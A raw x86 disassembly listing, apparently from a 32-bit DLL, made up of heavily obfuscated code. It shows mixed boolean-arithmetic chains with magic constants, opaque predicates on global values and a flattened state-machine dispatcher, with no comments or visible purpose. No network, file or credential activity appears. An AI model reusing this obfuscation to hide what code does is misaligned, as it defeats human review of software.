or ebx, ecx
not ebx
or edx, ebx
not edx
mov edi, eax
xor edi, edx
or edx, eax
not edi
and edi, eax
mov ecx, edi
not ecx
mov eax, ecx
and eax, 0x471c6c9b
and edi, 0xb8e39364
or edi, eax
xor edi, edx
or ecx, edx
xor edi, 0xb8e39364
not ecx
or ecx, edi
or esi, dword [ebp - 0x1c]
or esi, dword [ebp - 0x30]
mov eax, esi
not eax
mov edx, esi
and edx, 0xb2d266f5
mov edi, eax
and eax, 0x4d2d990a
or eax, edx
and edi, esi
mov edx, edi
not edx
or esi, edx
and edx, 0xb2d266f5
and edi, 0x4d2d990a
or edi, edx
xor edi, eax
not esi
or esi, edi
mov eax, ecx
not eax
mov edx, eax
and eax, 0xfca96d65
and ecx, 0x356929a
or ecx, eax
mov eax, esi
not eax
or edx, eax
and eax, 0xfca96d65
and esi, 0x356929a
or esi, eax
not edx
xor esi, ecx
or esi, edx
mov ecx, esi
not ecx
mov eax, ecx
and eax, 0x2155f213
mov edx, esi
and edx, 0xdeaa0dec
or edx, eax
xor edx, 0xdeaa0dec
mov edi, ecx
and edi, esi
or edi, edx
mov eax, edi
not eax
and edi, 0x7396f50
mov edx, eax
and edx, 0xf8c690af
or edx, edi
xor edx, 0x593dd072
and eax, 0x5e04bf22
or eax, edx
and ecx, 0xb00b070c
and esi, 0x4ff4f8f3
or esi, ecx
mov ecx, esi
xor ecx, 0x4ff4f8f3
xor esi, 0x3002040c
and esi, 0x7a76ac3d
mov edx, ecx
and edx, 0x858953c2
or edx, esi
xor edx, 0xdb8dece0
and ecx, 0xa1fb40dd
or ecx, edx
mov edi, eax
not edi
mov edx, eax
and eax, 0x503e9762
and edi, 0xafc1689d
or edi, eax
mov esi, ecx
not esi
or edx, ecx
and ecx, 0x503e9762
and esi, 0xafc1689d
or esi, ecx
xor esi, edi
mov eax, esi
not eax
mov ecx, eax
and ecx, 0x7901531d
and esi, 0x86feace2
or esi, ecx
xor esi, edx
xor esi, 0x86feace2
or eax, edx
not eax
or eax, esi
mov edx, eax
xor edx, 0xfc59a2b
xor eax, 0xf03a65d4
mov ecx, edx
and edx, 0x46faf7a3
mov esi, eax
and esi, 0xb905085c
or esi, edx
xor esi, 0xb905085c
or esi, eax
and eax, 0x883bcdd2
and ecx, 0x77c4322d
or ecx, eax
mov edi, ecx
xor edi, 0x5104202d
xor ecx, 0x80094c00
and ecx, 0xa6c95e00
and edi, 0x5936a1ff
or edi, ecx
mov eax, edi
xor eax, 0xa4c00200
xor edi, 0x1830a056
and eax, 0xe5c603a9
and edi, 0x1a39fc56
or edi, eax
mov ecx, edi
xor ecx, 0x10319c50
xor edi, 0xe5c603a9
mov eax, edi
and edi, 0x8e086027
and ecx, 0x71f79fd8
or ecx, edi
or eax, esi
xor ecx, esi
mov edi, dword [ebp - 0x20]
mov esi, edi
not eax
xor ecx, 0x71f79fd8
or ecx, eax
mov dword [ebp - 0x18], ecx
mov edx, dword [ebp - 0x14]
mov ecx, edx
xor ecx, 0xe3a9db14
and ecx, edx
and esi, 0x1569cf73
mov eax, edx
and edx, 0xea96308c
or edx, esi
xor edx, 0x9dfc5d4f
or edx, edi
mov esi, edi
and esi, 0x79bdda94
and eax, 0x8642256b
or eax, esi
mov esi, eax
xor esi, 0x2000100
xor eax, 0x61a9da14
or eax, 0x1c5624eb
mov edi, eax
and edi, 0x44004880
and esi, 0x23280100
or esi, edi
mov edi, ecx
not edi
or eax, edi
and edi, 0x44004880
and ecx, 0x336a2543
or ecx, edi
xor ecx, esi
not eax
or eax, ecx
mov ecx, eax
and ecx, 0x56006d82
mov edi, eax
xor edi, 0x420041
xor ecx, 0x4205492c
and edi, 0x216a0041
or edi, ecx
mov ecx, edi
xor ecx, 0x2002
xor edi, 0xa9fa9251
mov esi, edi
and esi, 0x5ec6cdb9
and ecx, 0x21282042
or ecx, esi
mov ebx, edx
not ebx
mov esi, edx
and esi, 0x66c07f21
xor edx, 0xdab64a95
and edx, ebx
mov dword [ebp - 0x14], edx
and ebx, 0x993f80de
or ebx, esi
mov edx, ecx
xor edx, 0x21282042
mov esi, ebx
xor esi, 0x192e80da
or esi, edx
mov edx, ecx
xor edx, 0x400500
or edx, 0x58364285
xor ecx, 0x11042
and edx, 0x797e6785
and ecx, 0x401906a
or ecx, edx
or edi, 0x21482500
and edi, 0x797e6785
and eax, 0x2000800
or eax, edi
mov edi, ebx
xor edi, 0x24403520
or edi, 0xdab64a95
xor ebx, 0x1098042
mov edx, edi
and edx, 0x72f07a8d
and ebx, 0x5098562
or ebx, edx
mov edx, dword [ebp - 0x14]
not edx
or edi, edx
and edx, 0x72f07a8d
and dword [ebp - 0x14], 0x8d0f8572
add dword [ebp - 0x14], edx
mov edx, dword [ebp - 0x14]
xor edx, ebx
not edi
or edi, edx
xor edi, eax
xor edi, ecx
not esi
and esi, 0x7feeedfb
or esi, edi
mov ebx, esi
mov ecx, esi
xor ecx, 0x9f3510f
and ecx, esi
not esi
or ebx, 0xf60caef0
mov eax, ebx
and eax, 0x888cac1a
and esi, 0x1735105
or esi, eax
mov eax, ecx
not eax
or ebx, eax
and eax, 0x888cac1a
and ecx, 0x777353e5
or ecx, eax
xor ecx, esi
not ebx
or ebx, ecx
mov edx, dword [ebp - 0x18]
mov eax, edx
not eax
mov dword [ebp - 0x14], eax
and eax, 0x81337280
mov esi, edx
and esi, 0x1c400068
or esi, eax
xor esi, 0x1c400068
mov eax, edx
xor eax, 0x9d7372e8
and eax, edx
or esi, eax
not eax
and eax, 0x628c8d17
and esi, 0x9d7372e8
or esi, eax
mov eax, ebx
xor eax, 0x8166c333
xor ebx, 0x7e993ccc
mov edx, ebx
and edx, 0xd01a424
mov ecx, eax
mov dword [ebp - 0x28], eax
and ecx, 0xf2fe5bdb
or ecx, edx
mov edi, ecx
xor edi, 0x82000290
xor ecx, 0x9000004
or ecx, 0x1409d442
and ecx, 0x7dafd547
and edi, 0x82002290
or edi, ecx
mov ecx, ebx
or ecx, 0x69a60105
and ecx, 0x7dafd547
and eax, 0x500828
or eax, ecx
xor eax, edi
mov dword [ebp - 0x20], esi
mov edx, esi
not edx
mov dword [ebp - 0x1c], edx
and edx, 0x7842f502
mov ecx, esi
and ecx, 0x87bd0afd
or ecx, edx
mov edi, dword [ebp - 0x14]
mov edx, edi
and edx, 0x8985c05e
mov esi, dword [ebp - 0x18]
and esi, 0x767a3fa1
or esi, edx
xor edi, esi
and edi, esi
mov dword [ebp - 0x14], edi
mov edx, eax
xor edx, 0x1459dc6a
mov dword [ebp - 0x24], edx
xor eax, 0xeba62395
mov dword [ebp - 0x18], eax
and eax, 0x1b92eb69
and edx, 0xe46d1496
or edx, eax
and ebx, 0x36788548
mov eax, dword [ebp - 0x28]
and eax, 0xc9877ab7
or eax, ebx
mov ebx, eax
xor ebx, 0xc9877ab7
xor eax, 0x32100008
and eax, 0x731200b9
mov esi, ebx
and esi, 0x8cedff46
or esi, eax
xor esi, 0xfa97c0e7
and ebx, 0x8985c05e
or ebx, esi
xor ecx, 0xf1c7355c
or ecx, dword [ebp - 0x1c]
mov edi, ecx
not edi
mov eax, dword [ebp - 0x14]
not eax
mov esi, edi
xor esi, eax
and esi, edi
and ecx, 0x9fa00095
and edi, 0x605fff6a
or edi, ecx
and eax, 0x9fa00095
mov ecx, dword [ebp - 0x14]
and ecx, 0x605fff6a
or ecx, eax
xor ecx, edi
or ecx, esi
mov esi, ecx
xor edx, 0x92172b37
or edx, dword [ebp - 0x18]
mov edi, edx
xor edi, edx
not edi
and edi, ebx
xor edi, edx
mov eax, edx
or eax, ebx
mov edx, edi
not edx
mov ecx, edx
and ecx, 0xa6d83a01
and edi, 0x5927c5fe
or edi, ecx
xor edi, eax
or edx, eax
xor edi, 0x5927c5fe
not edx
or edx, edi
mov edi, edx
not edi
mov eax, edx
xor eax, 0x9254a132
and edi, eax
and eax, edx
mov edx, edi
not edx
mov ecx, edx
and ecx, 0x10917c35
and edi, 0xef6e83ca
or edi, ecx
mov ecx, eax
not ecx
or edx, ecx
and ecx, 0x10917c35
and eax, 0xef6e83ca
or eax, ecx
xor eax, edi
not edx
or edx, eax
xor esi, 0x9254a132
mov eax, edx
xor eax, edx
not eax
and eax, esi
xor eax, edx
mov esi, dword [ebp - 0x1c]
mov ecx, dword [ebp - 0x24]
and ecx, esi
mov edx, dword [ebp - 0x18]
or esi, edx
and edx, dword [ebp - 0x20]
or edx, ecx
mov edi, edx
not edi
mov ecx, edi
and ecx, 0xc17d8bdb
and edx, 0x3e827424
or edx, ecx
xor edx, esi
xor edx, 0x3e827424
or edi, esi
not edi
or edi, edx
mov edx, edi
mov ecx, edi
xor ecx, 0x5844dafb
and ecx, edi
not edi
xor edx, 0x869a2504
mov esi, edx
or esi, 0x22ba2004
and esi, 0x62ba7a5e
and edi, 0x184480a1
or edi, esi
mov esi, ecx
not esi
or edx, esi
and esi, 0x62ba7a5e
and ecx, 0x9d4585a1
or ecx, esi
xor ecx, edi
not edx
or edx, ecx
not ecx
and ecx, 0xa7bb2504
and edx, 0x5844dafb
or edx, ecx
mov ecx, eax
xor ecx, 0x57d99183
and ecx, eax
mov edi, eax
not edi
mov eax, edx
xor eax, 0x57d99183
mov esi, eax
and eax, edx
not edx
and esi, edx
or edx, edi
and edi, 0x57d99183
or ecx, edi
mov edi, esi
not edi
mov ebx, edi
and ebx, 0x281872dc
and esi, 0xd7e78d23
or esi, ebx
mov ebx, eax
not ebx
or edi, ebx
and ebx, 0x281872dc
and eax, 0xd7e78d23
or eax, ebx
xor eax, esi
not edi
or edi, eax
mov eax, edi
xor eax, edi
not eax
and eax, ecx
xor eax, edi
mov esi, edx
not esi
mov ecx, eax
not ecx
mov edi, ecx
and edi, 0x77f0c043
and eax, 0x880f3fbc
or eax, edi
or ecx, edx
and edx, 0x77f0c043
and esi, 0x880f3fbc
or esi, edx
xor esi, eax
not ecx
or ecx, esi
mov esi, ecx
not esi
mov eax, esi
and eax, 0x10008419
mov edx, ecx
and edx, 0x40780126
or edx, eax
mov eax, edx
xor eax, 0x480004
xor edx, 0x20813691
and eax, 0x1048800c
and edx, 0x60b137b3
or edx, eax
mov eax, edx
xor eax, 0x60b137b3
and esi, 0x2a017240
and ecx, 0x85860880
or ecx, esi
xor ecx, 0x85860880
or ecx, 0x5078853f
mov esi, eax
xor esi, ecx
and esi, eax
xor edx, 0x9f4ec84c
xor eax, edx
and eax, ecx
xor eax, edx
or eax, esi
mov ecx, eax
xor ecx, 0xaf877ac0
mov edx, eax
xor edx, 0x288028
and edx, 0x2289268
xor eax, 0x8ceae0bb
and eax, ecx
and ecx, 0x21450813
or ecx, edx
mov edx, ecx
xor edx, 0x20440000
xor ecx, 0xdebaf7ec
mov esi, eax
not esi
mov edi, ecx
and edi, 0x5b9baa5f
and edx, 0x20641020
or edx, edi
or ecx, esi
and esi, 0x5b9baa5f
and eax, 0xa46455a0
or eax, esi
xor eax, edx
not ecx
or ecx, eax
mov eax, ecx
xor eax, 0xdc926584
xor ecx, 0x236d9a7b
mov edx, ecx
and edx, eax
and ecx, 0x258036d3
and eax, 0xda7fc92c
or eax, ecx
xor eax, 0x258036d3
or eax, edx
xor eax, 0xffffffff
setne bl
mov byte [ebp - 0x18], bl
sete al
mov byte [ebp - 0x14], al
cmp dword [0x10045904], 0xa
setge cl
setl ch
mov dl, ch
and dl, al
mov dh, cl
mov ah, cl
and ah, bl
or ah, dl
mov dl, ah
xor dl, al
and dl, ah
mov bh, ch
or bh, al
xor bh, 1
xor dh, bl
or bh, dh
mov bl, bh
xor bl, 1
mov al, bh
and al, dl
xor dl, 1
and bl, dl
or bl, al
or dl, bh
xor bl, 1
mov al, bl
xor al, dl
or bl, dl
mov bh, cl
xor bl, 1
or bl, al
mov dl, byte [ebp - 0x14]
and dl, cl
and dh, cl
mov al, cl
inc al
and al, bl
xor bl, 1
and bh, bl
or al, bh
xor al, 1
or al, bl
mov cl, byte [ebp - 0x18]
and ch, cl
or dl, ch
mov ch, dl
xor ch, 1
and cl, ch
and dl, byte [ebp - 0x14]
or dl, cl
xor ch, dl
and ch, dl
mov cl, dh
xor cl, 1
xor dh, ah
xor ah, 1
or ah, cl
xor ah, 1
or ah, dh
mov cl, ah
xor cl, 1
and cl, ah
xor cl, 1
mov dl, ah
xor dl, cl
or cl, ah
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
mov bl, ch
xor bl, 1
mov dh, bl
and dh, ch
xor dh, 1
or dh, ch
xor dh, 1
or dh, bl
xor bl, dl
mov ah, dh
xor ah, 1
and ah, dl
or dl, ch
and bl, ch
xor bl, 1
mov bh, bl
xor bh, dl
or bl, dl
xor bl, 1
or bl, bh
and dh, cl
or dh, ah
mov dl, al
or cl, ch
xor dh, 1
mov ah, dh
xor ah, cl
or dh, cl
xor dh, 1
or dh, ah
xor dh, 1
mov ecx, ebx
xor cl, dh
xor cl, 1
mov ah, cl
and ah, bl
xor ah, 1
or dh, bl
or ah, cl
xor ah, 1
or ah, dh
mov cl, ah
xor cl, 1
mov ch, ah
and ch, cl
xor ch, 1
mov dh, cl
xor dh, ch
or ch, cl
xor ch, 1
or ch, dh
xor ch, al
mov dh, cl
xor dh, al
and ah, al
or al, cl
xor al, 1
or al, dh
mov dh, ch
xor dh, al
or al, ch
xor dl, 1
xor al, 1
or al, dh
mov ch, dl
and ch, cl
or ch, ah
mov ah, ch
xor ah, cl
and ah, ch
mov ch, dl
xor ch, cl
or cl, dl
xor cl, 1
or cl, ch
mov edx, ecx
xor dl, 1
mov ch, ah
xor ch, cl
and ch, ah
and cl, ah
mov dh, ah
xor dh, 1
and dh, dl
mov ah, al
xor ah, 1
or cl, dh
or cl, ch
mov dl, ah
and dl, al
xor dl, 1
mov ch, al
xor ch, dl
or dl, al
xor dl, 1
or dl, ch
mov ch, cl
xor ch, 1
and ch, dl
xor dl, 1
and dl, cl
or dl, ch
mov ch, al
xor ch, cl
and ch, al
xor cl, ah
or cl, ch
mov ch, cl
xor ch, 1
mov eax, ecx
and al, dl
xor dl, 1
and ch, dl
or ch, al
or dl, cl
mov eax, edx
xor al, ch
test al, 1
mov esi, 0x84b7df52
mov eax, 0x3a32672b
cmovne esi, eax
test dl, 1
mov eax, 0x84b7df52
cmovne eax, esi
jmp 0x1000f9a0
cmp eax, 0xeb4d0907
je 0x10024685
cmp eax, 0xedab2fb3
jne 0x1000f9b0
mov eax, dword [ebp - 0x3c]
mov eax, dword [ebp - 0x64]
mov eax, dword [ebp - 0x60]
mov eax, dword [0x10045900]
lea ecx, [eax + 1]
imul ecx, eax
mov edx, ecx
not edx
mov eax, edx
and eax, 0x20a23a3
mov edi, ecx
mov ebx, ecx
mov dword [ebp - 0x14], ecx
and edi, 0xb5640000
or edi, eax
mov ecx, edx
mov eax, edx
and eax, 0xb76e23a3
and ebx, 0x4891dc5c
or ebx, eax
mov edx, edi
xor edx, 0x240000
xor edi, 0x4a9bffff
mov esi, edi
and edi, 0xb7c2b5f3
and edx, 0x2c0200
or edx, edi
not ebx
or ebx, ecx
or esi, ebx
xor edx, ebx
mov edi, edx
xor edi, 0x483d4a0c
xor edx, 0xb7c2b5f3
mov eax, edx
and eax, 0x1dd3e682
and edi, 0xe22c197d
or edi, eax
or edx, esi
and esi, 0xbfffe7a3
xor esi, edi
xor esi, 0xa22c0121
not edx
or edx, esi
mov esi, edx
xor esi, 0x4891dc5c
xor edx, 0xb76e23a3
mov eax, edx
and eax, 0x9938cfc0
mov ebx, esi
and ebx, 0x66c7303f
or ebx, eax
mov edi, ebx
xor edi, 0x283200c
xor ebx, 0x4000
or ebx, 0xb0501411
and ebx, 0xb0545413
and edi, 0xba3220c
or edi, ebx
or edx, 0x44002
and edx, 0xb0545413
and esi, 0x440889e0
or esi, edx
xor esi, edi
mov eax, esi
xor eax, 0xf4589df1
xor esi, 0xba7620e
mov edx, esi
or edx, 0xfffffffe
and eax, 0xfffffffe
and esi, 1
or esi, eax
mov eax, esi
not eax
mov edi, edx
or edx, eax
and eax, 0x4b894394
and esi, 0xb476bc6b
or esi, eax
not edi
or edi, 0x4b894394
xor edi, esi
not edx
or edx, edi
not edi
mov eax, edx
and eax, 0x6e532349
and edi, 0x91acdcb6
or edi, eax
xor edi, 0x6e532349
xor edx, edi
and edx, edi
mov dword [ebp - 0x18], ecx
mov eax, ecx
and eax, 0x64bcf05b
mov esi, dword [ebp - 0x14]
mov ebx, esi
and ebx, 0x9b430fa4
or ebx, eax
mov eax, ecx
and eax, esi
xor ebx, 0x9b430fa4
or ebx, eax
mov edi, ebx
not edi
mov ecx, ebx
or ecx, 0xa83265e
mov esi, ecx
and esi, 0x4f185309
mov eax, edi
and eax, 0xb06488a0
or eax, esi
mov dword [ebp - 0x1c], eax
mov esi, ebx
xor esi, 0xf57cd9a1
and esi, ebx
mov eax, esi
not eax
or ecx, eax
and eax, 0x4f185309
and esi, 0xb0e7acf6
or esi, eax
xor esi, dword [ebp - 0x1c]
not ecx
or ecx, esi
and ebx, 0x81e49ec6
mov eax, edi
and eax, 0x7e1b6139
or eax, ebx
xor eax, 0x81e49ec7
and edi, 1
or edi, eax
xor ecx, 0xa83265f
not edi
or edi, ecx
mov eax, edi
not eax
not edx
mov ecx, edx
xor ecx, edi
or edi, edx
and ecx, eax
or edx, eax
not edx
or edx, ecx
mov eax, edi
not eax
mov ebx, edx
not ebx
and edx, edi
or edi, ebx
and ebx, eax
or ebx, edx
mov esi, ebx
not esi
mov eax, esi
and eax, 0x4fd9124b
and ebx, 0xb026edb4
or ebx, eax
xor ebx, edi
xor ebx, 0xb026edb4
or esi, edi
not esi
or esi, ebx
mov eax, dword [ebp - 0x18]
and eax, 0x432083af
mov ecx, dword [ebp - 0x14]
and ecx, 0xbcdf7c50
or ecx, eax
mov edi, esi
mov edx, esi
not edx
mov eax, edx
mov dword [ebp - 0x18], edx
and eax, 0x82206010
and edi, 0x698a2
or edi, eax
mov dword [ebp - 0x1c], edi
mov eax, esi
xor eax, 0xa0c633e8
and eax, esi
mov dword [ebp - 0x20], eax
mov eax, edx
and eax, 0x8226f8b2
and esi, 0x7dd9074d
or esi, eax
mov eax, ecx
mov edi, ecx
xor edi, 0xbcdf7c50
mov edx, ecx
mov ecx, eax
xor edx, 0x432083af
mov dword [ebp - 0x14], edx
mov eax, edi
or eax, 0xd29f7c83
mov ebx, eax
and ebx, 0xad927fb9
mov edx, dword [ebp - 0x14]
and edx, 0x608044
or edx, ebx
xor ecx, 0x91bfff2c
and ecx, edi
mov ebx, ecx
not ebx
or eax, ebx
and ebx, 0xad927fb9
and ecx, 0x526d8046
or ecx, ebx
xor ecx, edx
not eax
or eax, ecx
mov ebx, eax
xor ebx, 0xc21b7800
xor eax, 0x2d60837c
mov edx, eax
and edx, 0x1cc4878f
and ebx, 0xe33b7870
or ebx, edx
xor ebx, 0x9ee27f3d
or ebx, eax
and edi, 0xcb429fb2
mov ecx, dword [ebp - 0x14]
mov eax, ecx
and eax, 0x34bd604d
or eax, edi
xor eax, 0x49646700
and ecx, 0x8226f8b2
or ecx, eax
mov dword [ebp - 0x14], ecx
mov ecx, dword [ebp - 0x1c]
mov eax, ecx
xor eax, 0x698a2
mov edx, ecx
xor edx, 0x238675c
and edx, 0x23aef7e
xor ecx, 0x8002f882
and ecx, eax
and eax, 0x80041080
or eax, edx
not esi
or esi, dword [ebp - 0x18]
mov edx, esi
not edx
mov edi, esi
and edi, 0xa84d74af
xor esi, 0x2aba98db
and esi, edx
and edx, 0x57b28b50
or edx, edi
xor eax, 0xfdc51081
mov edi, edx
xor edi, 0x57b28b50
xor edx, 0x7d08138b
and edx, edi
or edi, eax
and eax, 0xd5456724
or ecx, eax
or esi, edx
mov eax, esi
xor eax, esi
not eax
and eax, ecx
xor eax, esi
mov ecx, eax
not ecx
mov edx, ecx
and edx, 0xdd370628
and eax, 0x22c8f9d7
or eax, edx
mov edx, edi
not edx
or ecx, edi
and edi, 0xdd370628
and edx, 0x208f9d6
or edx, edi
xor edx, eax
not ecx
or ecx, edx
mov dword [ebp - 0x1c], ecx
mov eax, ebx
not eax
mov edx, ebx
and edx, 0x320aceec
mov edi, eax
and edi, 0xcdf53113
or edi, edx
mov edx, dword [ebp - 0x14]
mov ecx, edx
not ecx
mov esi, edx
xor esi, 0xcdf53113
and esi, edx
mov edx, ecx
and edx, 0xcdf53113
or edx, esi
mov esi, edx
xor esi, edx
not esi
and esi, edi
xor esi, edx
mov edx, eax
and edx, 0x76ad7991
and ebx, 0x8952866e
or ebx, edx
or eax, ecx
and ecx, 0x76ad7991
mov edx, dword [ebp - 0x14]
and edx, 0x8952866e
or edx, ecx
xor edx, ebx
not eax
or eax, edx
not eax
or eax, esi
mov ecx, eax
not ecx
mov edx, eax
or edx, 0x40171200
and edx, 0x551f5e49
mov esi, ecx
and ecx, 0x88600024
or ecx, edx
or esi, 0x15084c49
and esi, 0x551f5e49
and eax, 0x2280a192
or eax, esi
xor eax, ecx
xor eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x20]
or edx, ecx
not ecx
and ecx, 0x5f39cc17
and edx, 0xa0c633e8
or edx, ecx
mov dword [ebp - 0x18], edx
mov ecx, edx
not ecx
mov dword [ebp - 0x1c], ecx
and ecx, 0x244800c0
and edx, 0x1816303b
or edx, ecx
mov ebx, eax
xor ebx, 0x9d684c6d
mov edi, eax
xor edi, 0x6297b392
mov dword [ebp - 0x14], edi
mov esi, ebx
or esi, 0xc3a1cf04
mov ecx, esi
and ecx, 0xbe428cec
and edi, 0x1c3013
or edi, ecx
xor eax, 0xa1367c96
and eax, ebx
mov ecx, eax
not ecx
or esi, ecx
and ecx, 0xbe428cec
and eax, 0x41bd7313
or eax, ecx
xor eax, edi
not esi
or esi, eax
mov eax, edx
xor eax, 0x16002a
xor edx, 0xe6204e44
and edx, 0xfe207e55
and eax, 0x5e00aa
or eax, edx
mov ecx, dword [ebp - 0x1c]
or ecx, 0x3c003051
and ecx, 0xfe207e55
mov edx, ecx
mov ecx, dword [ebp - 0x18]
and ecx, 0x1818100
or ecx, edx
xor ecx, eax
mov eax, ecx
xor eax, ecx
not eax
and eax, esi
xor eax, ecx
not eax
mov ecx, dword [ebp - 0x14]
and ecx, 0xab7502a0
and ebx, 0x548afd5f
or ebx, ecx
xor ebx, 0x548afd5f
or ebx, eax
xor ebx, 0xffffffff
setne ch
sete ah
cmp dword [0x10045904], 0xa
setl cl
setge dl
mov dh, ah
xor dh, ch
and dh, ah
xor dh, 1
mov al, ah
xor al, dh
or dh, ah
xor dh, 1
or dh, al
mov al, dh
xor al, 1
and dh, al
xor dh, 1
mov bl, dh
xor bl, al
or dh, al
xor dh, 1
or dh, bl
mov al, ah
or al, dh
mov ebx, eax
xor bl, 1
xor dh, ch
mov bh, al
and bh, bl
xor bh, 1
or bh, bl
xor bh, 1
or bh, al
xor bh, dh
xor bh, 1
or dh, al
mov al, bh
xor al, dh
or dh, bh
xor dh, 1
or dh, al
mov al, dh
xor al, 1
and al, dh
xor al, 1
mov bl, dh
xor bl, al
or al, dh
xor al, 1
or al, bl
mov ebx, ecx
xor bl, dl
and bl, al
xor bl, dl
mov dh, al
or dh, dl
xor dh, 1
xor al, dl
or dh, al
xor dh, 1
or dh, bl
mov ebx, eax
xor bl, 1
xor al, cl
or bl, dl
xor bl, 1
or bl, al
mov al, dh
xor al, bl
or bl, dh
xor al, 1
mov dh, bl
or dh, al
xor al, bl
xor al, 1
mov ebx, eax
xor bl, dh
or al, dh
xor al, 1
or al, bl
mov ebx, ecx
xor bl, ch
mov dh, bl
xor dh, 1
and ch, cl
and dl, ah
or dl, ch
or cl, ah
xor cl, 1
or cl, dl
mov ah, cl
xor ah, 1
mov dl, bl
or dl, cl
and cl, ah
xor cl, 1
mov ch, ah
xor ch, cl
or cl, ah
xor cl, 1
or cl, ch
xor cl, bl
xor dl, 1
or dl, cl
mov ecx, edx
xor cl, 1
and cl, dl
xor cl, 1
mov ah, cl
xor ah, dl
or cl, dl
xor cl, 1
or cl, ah
mov dl, cl
xor dl, 1
or bl, cl
xor bl, 1
mov ah, dh
or ah, dl
xor ah, 1
or ah, bl
or cl, dh
xor dl, dh
mov ch, cl
xor ch, dl
or dl, cl
xor dl, 1
or dl, ch
xor dl, 1
mov ch, dl
xor ch, ah
xor ch, 1
mov cl, ch
and cl, ah
xor cl, 1
or dl, ah
or cl, ch
xor cl, 1
or cl, dl
mov edx, ecx
xor dl, 1
and cl, dl
xor cl, 1
mov ah, cl
xor ah, dl
or cl, dl
xor cl, 1
or cl, ah
mov ebx, ecx
xor bl, 1
mov byte [ebp - 0x14], bl
mov dh, al
xor dh, 1
mov bh, dh
and bh, al
xor bh, 1
or al, bh
xor al, 1
or al, dh
mov dl, al
xor dl, 1
and al, dl
xor al, 1
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov dl, al
xor dl, 1
mov byte [ebp - 0x18], dl
mov dl, bl
and dl, cl
xor dl, 1
mov ch, dl
or ch, cl
xor ch, 1
mov byte [ebp - 0x1c], ch
mov ah, bh
xor ah, dh
or bh, dh
mov dh, bl
or dh, ch
xor dh, 1
or dh, bl
xor bh, 1
or bh, ah
mov ch, byte [ebp - 0x18]
mov bl, ch
and bl, al
xor bl, 1
or bl, al
mov ah, dh
xor ah, 1
xor byte [ebp - 0x14], dh
xor bl, 1
or bl, ch
mov ch, dh
xor ch, cl
or dh, cl
xor dl, cl
or dl, byte [ebp - 0x1c]
mov al, bl
xor al, 1
xor dl, al
xor bl, cl
or al, cl
or cl, ah
xor cl, 1
or cl, ah
xor dh, 1
or dh, ch
mov ch, byte [ebp - 0x14]
mov ah, ch
xor ah, dh
or dh, ch
xor dh, 1
or dh, ah
mov ah, dh
xor ah, 1
mov ch, cl
xor ch, 1
and ah, ch
or ch, dh
and dh, cl
xor ch, 1
or dh, ah
or dh, ch
mov ah, bh
xor ah, 1
mov ch, dh
and ch, ah
or ah, dh
xor dh, 1
and bh, dh
or ch, bh
xor ch, 1
or ch, dh
xor ch, 1
xor ah, 1
mov dh, ah
xor dh, ch
xor dh, 1
mov cl, dh
and cl, ch
or ah, ch
xor cl, 1
or cl, dh
xor cl, 1
or cl, ah
mov ah, bl
xor ah, al
or al, bl
mov ch, dl
xor ch, 1
xor al, 1
or al, ah
mov ah, al
xor ah, 1
and al, ch
and dl, ah
or dl, al
mov al, ch
xor al, ah
or ah, ch
xor ah, 1
or ah, al
xor dl, 1
mov al, dl
xor al, ah
or dl, ah
xor dl, 1
or dl, al
mov eax, edx
xor al, 1
mov ch, dl
and ch, al
xor ch, 1
mov ah, ch
xor ah, al
or ch, al
xor ch, 1
or ah, ch
xor ah, cl
or ch, dl
xor ch, cl
mov dl, ah
xor dl, 1
xor ch, 1
or al, cl
xor al, 1
or al, ch
mov ecx, edx
and cl, ah
xor cl, 1
mov ch, cl
xor ch, ah
or cl, ah
xor al, 1
xor cl, 1
or cl, ch
xor cl, al
mov ah, dl
xor ah, al
or al, dl
xor al, 1
or al, ah
mov edx, eax
xor dl, cl
test dl, 1
mov edx, 0x200e52ff
mov esi, 0x7c3ade54
cmovne edx, esi
test al, 1
mov eax, 0x200e52ff
jmp 0x1001e94f
cmp eax, 0x6906d4b2
je 0x100246b9
cmp eax, 0x753f3a55
jne 0x1000f9b0
mov eax, 0xedab2fb3
jmp 0x1000f9b0
cmp eax, 0x92c04416
je 0x10025317
cmp eax, 0x9a05f2dd
jne 0x1000f9b0
mov eax, dword [ebp - 0x4c]
mov eax, dword [0x10045900]
lea edx, [eax + 1]
imul edx, eax
mov eax, edx
not eax
mov ecx, eax
mov esi, eax
mov dword [ebp - 0x18], eax
and ecx, 0x9b05c33
mov eax, edx
mov dword [ebp - 0x14], edx
and eax, 0xf64fa3cc
or eax, ecx
mov ecx, eax
xor ecx, 0x904782cc
xor eax, 0x8004c20
and ecx, 0x91f792df
and eax, 0x6e086d20
or eax, ecx
mov ecx, esi
and ecx, 0x604b5ef2
and edx, 0x9fb4a10d
or edx, ecx
mov ecx, eax
xor ecx, 0x6e086d20
xor eax, 0x10190da
xor edx, 0x604b5ef2
or edx, esi
mov esi, ecx
xor esi, edx
and esi, ecx
and eax, 0x709f1da
and ecx, 0xf8f60e25
or ecx, eax
xor ecx, edx
xor ecx, 0xf8f60e25
or ecx, esi
mov esi, ecx
xor esi, 0x6da2807b
mov edi, esi
and edi, ecx
mov edx, edi
not edx
mov eax, edx
and eax, 0x243ce20c
and edi, 0xdbc31df3
or edi, eax
mov eax, ecx
not eax
and esi, eax
mov ebx, esi
not ebx
or edx, ebx
and ebx, 0x243ce20c
and esi, 0xdbc31df3
or esi, ebx
xor esi, edi
not edx
or edx, esi
mov esi, edx
xor esi, 0xd573b8c1
xor edx, 0x2a8c473e
mov edi, edx
and edi, 0xc1e470be
and esi, 0x3e1b8f41
or esi, edi
or ecx, 0xb8d138ba
or edx, ecx
and ecx, 0xc1e470be
and eax, 0x60a8741
or eax, ecx
xor eax, esi
not edx
or edx, eax
mov ecx, edx
not ecx
and edx, 0x211c7bcd
and ecx, 0xdee38432
or ecx, edx
mov eax, ecx
xor eax, 0x21002b0c
xor ecx, 0xdee38432
mov edx, ecx
and edx, 0xc29c54d1
and eax, 0x3d63ab2e
or eax, edx
xor eax, 0xc29c54d1
xor ecx, eax
and ecx, eax
mov edi, dword [ebp - 0x14]
mov edx, edi
or edx, 0x472ec745
mov eax, edx
and eax, 0xf31af910
mov ebx, dword [ebp - 0x18]
mov esi, ebx
and esi, 0x8c100aa
or esi, eax
mov eax, edi
xor eax, 0xb8d138ba
and eax, edi
mov edi, eax
not edi
or edx, edi
and edi, 0xf31af910
and eax, 0xce506ef
or eax, edi
xor eax, esi
not edx
or edx, eax
